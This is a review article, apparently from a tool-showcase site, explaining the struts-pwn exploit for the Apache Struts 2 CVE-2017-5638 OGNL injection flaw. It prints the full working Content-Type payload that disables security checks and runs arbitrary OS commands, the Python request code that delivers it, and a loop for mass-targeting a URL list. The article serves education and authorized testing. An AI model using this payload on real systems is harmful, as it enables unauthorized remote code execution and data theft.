Back to Articles

Weaponizing OGNL: How CVE-2017-5638 Turned HTTP Headers Into Remote Shells

[ View on GitHub ]

Weaponizing OGNL: How CVE-2017-5638 Turned HTTP Headers Into Remote Shells

Hook

The Equifax breach that exposed 147 million records came down to a single malicious HTTP header—and the exploit code that made it possible fits in under 200 lines of Python.

Context

In March 2017, security researchers discovered CVE-2017-5638, a critical remote code execution vulnerability in Apache Struts 2 that would become one of the most consequential security flaws in modern web application history. The vulnerability existed in the Jakarta Multipart parser, a component responsible for handling file uploads in Struts applications. When processing multipart/form-data requests, the parser would evaluate OGNL (Object-Graph Navigation Language) expressions contained within the Content-Type header—meaning attackers could inject arbitrary code into what should have been a benign metadata field.

The impact was devastating. Within months, attackers exploited CVE-2017-5638 to breach Equifax, compromising sensitive data on nearly half the U.S. population. The vulnerability received a CVSS score of 10.0—the maximum severity rating. What made it particularly dangerous was the combination of easy exploitation (no authentication required), wide deployment (Struts powered countless enterprise Java applications), and the fact that it could be triggered with a single HTTP request. The struts-pwn tool emerged as one of the clearest demonstrations of how trivial it was to exploit this vulnerability, serving both as a wake-up call for organizations running unpatched systems and an educational resource for understanding OGNL injection attacks.

Technical Insight

target URL + command

URL list file

OGNL expression

malicious Content-Type

exploit packet

OGNL evaluation

execute command

output/error

results

iterate URLs

CLI Interface

Payload Builder

Batch Processor

HTTP Header Crafter

HTTP POST Request

Vulnerable Struts2 Server

Jakarta Multipart Parser

OS Command Execution

Response Parser

System architecture — auto-generated

The elegance—and danger—of CVE-2017-5638 lies in its exploitation mechanism. Struts 2 uses OGNL as an expression language for accessing and manipulating Java objects. The Jakarta Multipart parser was designed to parse Content-Type headers to extract boundary information for multipart requests, but it mistakenly evaluated OGNL expressions embedded in malformed headers. This meant that instead of simply reading metadata, the parser would execute arbitrary Java code.

The struts-pwn implementation demonstrates this attack vector with surgical precision. At its core, the exploit constructs a weaponized Content-Type header that wraps shell commands inside OGNL syntax. Here's the key payload construction from the tool:

payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')."
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"

This payload is a masterclass in OGNL exploitation. It first establishes a context by accessing the default member access controls (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS), then systematically disables Struts' security restrictions by clearing excluded package names and classes. The exploit creates a new ProcessBuilder instance to execute system commands, intelligently detecting the operating system to choose between cmd.exe for Windows or /bin/bash for Unix systems. Finally, it captures the command output and writes it to the HTTP response stream, giving the attacker immediate feedback.

The HTTP request structure is equally important. The tool sends this payload as the Content-Type header value in a POST request:

headers = {
    'User-Agent': 'Mozilla/5.0',
    'Content-Type': payload,
    'Accept': '*/*'
}

response = requests.post(
    url,
    headers=headers,
    data={},
    timeout=30,
    verify=False
)

The actual POST data is empty—the entire attack vector exists in the header. This is what made CVE-2017-5638 so insidious: traditional web application firewalls that focused on request body inspection would miss it entirely. The vulnerability check mode uses a simpler OGNL expression that performs basic arithmetic (like 1+1) to confirm expression evaluation without executing destructive commands.

One particularly clever aspect of struts-pwn is its batch processing capability. It can read a file containing multiple URLs and test them systematically, making it practical for assessing large infrastructure footprints:

if args.list:
    with open(args.list, 'r') as f:
        urls = [line.strip() for line in f if line.strip()]
    for url in urls:
        exploit(url, command)

This design pattern—simple iteration over targets—reflects the tool's origins as a quick-and-dirty exploitation script rather than a sophisticated framework. There's no threading, no rate limiting, no attempt at stealth. It's direct, synchronous exploitation that prioritizes clarity over sophistication.

Gotcha

The primary limitation of struts-pwn is its age and single-purpose design. As a 2017-era exploit for a specific CVE, it lacks the modern defensive evasion techniques that contemporary security tools employ. There's no WAF bypass functionality, no payload obfuscation, and no attempt to randomize request patterns that might trigger intrusion detection systems. The tool sends requests with hardcoded User-Agent strings and makes no effort to blend in with legitimate traffic. If you're testing an environment with even basic security monitoring, this tool will likely trigger alerts.

The error handling is minimal to non-existent. Network timeouts, SSL certificate issues, and HTTP errors may cause ungraceful failures. The tool assumes direct network connectivity to targets and doesn't support proxying through tools like Burp Suite or SOCKS proxies—standard features in modern penetration testing workflows. Additionally, the output format is plain text printed to stdout with no options for structured logging, JSON export, or integration with reporting frameworks. For professional security assessments, you'd need to wrap this in additional tooling or choose a more feature-complete alternative like Metasploit. Finally, and most importantly, CVE-2017-5638 should be extinct in properly maintained environments. If you're finding vulnerable systems in 2024, that's a symptom of catastrophic patch management failures that likely indicate far deeper security problems.

Verdict

Use if: you're conducting authorized penetration tests against legacy systems, need a lightweight educational example of OGNL injection mechanics, or want to quickly verify remediation after patching Struts 2 installations. This tool excels as a teaching aid—the code is readable, the exploit mechanism is transparent, and it demonstrates a historically significant attack vector with minimal dependencies. It's also useful for red team exercises where you need to simulate known exploit techniques against deliberately vulnerable training environments. Skip if: you need stealth, advanced evasion, or professional-grade reporting capabilities. Modern vulnerability scanners like Nuclei or comprehensive frameworks like Metasploit offer better detection, more payload options, and proper integration with security workflows. Also skip if you're assessing current production systems—any Struts installation vulnerable to CVE-2017-5638 in 2024 represents such severe negligence that you have bigger problems than choosing an exploit tool. Treat struts-pwn as a historical artifact and learning resource rather than a frontline security assessment tool.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/mazen160-struts-pwn.svg)](https://starlog.is/api/badge-click/cybersecurity/mazen160-struts-pwn)